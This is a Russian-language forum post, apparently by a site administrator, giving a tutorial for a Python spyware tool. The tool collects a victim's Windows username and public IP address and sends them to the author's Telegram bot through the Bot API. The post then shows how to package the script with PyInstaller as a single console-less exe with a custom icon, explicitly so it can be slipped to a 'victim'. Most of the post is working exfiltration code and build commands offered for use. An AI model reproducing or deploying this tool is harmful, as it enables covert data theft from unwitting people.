- 20.06.2022
- 26 977
- 230
- 36
- Награды
- 10
- Пол
- Муж.
Репутация:
- Автор темы
- Администратор
- Модератор
- Команда форума
- #1

Установка Python
Переходим по ссылке - . Скачиваем последнюю версию и устанавливаем её.
Создание Бота
Набираем в поисковой строке имя "@@BotFather". Запускаем с ним диалог и создаем нового бота, которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Python:
/start
/newbot
После мы должны с нашего аккаунта прислать боту любое сообщение. Далее мы переходим по ссылке.
Python:
https://api.telegram.org/bot***ВАШ_ТОКЕН***/getUpdates #перейти по данной ссылке
chat":{"id":вашid #найти ваш chatid на открывшейся странице, это логи вашего бота
С ботом мы покончили, идем дальше. Запомните ваш chatid!
Написание кода
Импортируем модули, которые нам нужны:
Код:
import requests
from os import getlogin
Основная часть кода
Python:
p = False # Для последующего цикла
while p == False: # Условие
try: # Пробуем получить IP
name_of_user = getlogin() # Получаем имя пользователя
ip_pc = requests.get('http://httpbin.org/ip').content # Делаем запрос к сайту
ip_pc = ip_pc.decode('utf-8') # Декодируем
ip = ""
for i in ip_pc: # Очищаем от мусора
if i not in '{}":origin' and len(i) == 1: # Очищаем от мусора
ip+=i # Очищаем от мусора
else: # Очищаем от мусора
pass # Очищаем от мусора
requests.get('http://api.telegram.org/bot***ВАШ_ТОКЕН***/sendMessage?chat_id=***ВАШ_CHATID***&text='+ ip + ' ' + name_of_user, proxies = proxy) # Отправаляем сообщение в телеграм
p = True # Выходим из цикла
except: # Если возникает ошибка(нет доступа в интернет), пробуем, пока не получится
pass # Если возникает ошибка, то мы ничего не делаем
Компилируем в exe, чтобы скормить наш код жертве
Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i ***путь к иконке***, аргумент ,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.
Последние темы в этом разделе:
- [Сергей Спирёв] [Stepik] Библиотека Seaborn. Статистическая визуализация данных в Python (2025)
- [А.Ерошенко, Л.Данилова и др.] Курс по автоматизации тестирования на JavaScript + Playwright (2025)
- [Михаил Крыжановский] [Stepik] Телеграм-боты на Python: продвинутый уровень (2024)
- [IT Start] Курс по Python 3 (2024)
- [А. Ерошенко, С. Хомутинин, С. Васенков] Автоматизация тестирования на Python (2024)
- [IT Start] Создание графического интерфейса в Python 3 с Tkinter (2024)
- [Дмитрий Лаврик] PHP – ООП (2021)
- Параллелизм в Python. Заметка на русском с примерами кода.
- Крутая, содержательная шпаргалка с примерами по веб-фреймворку Django
- Асинхронный Python и Asyncio - Молчанов (2023)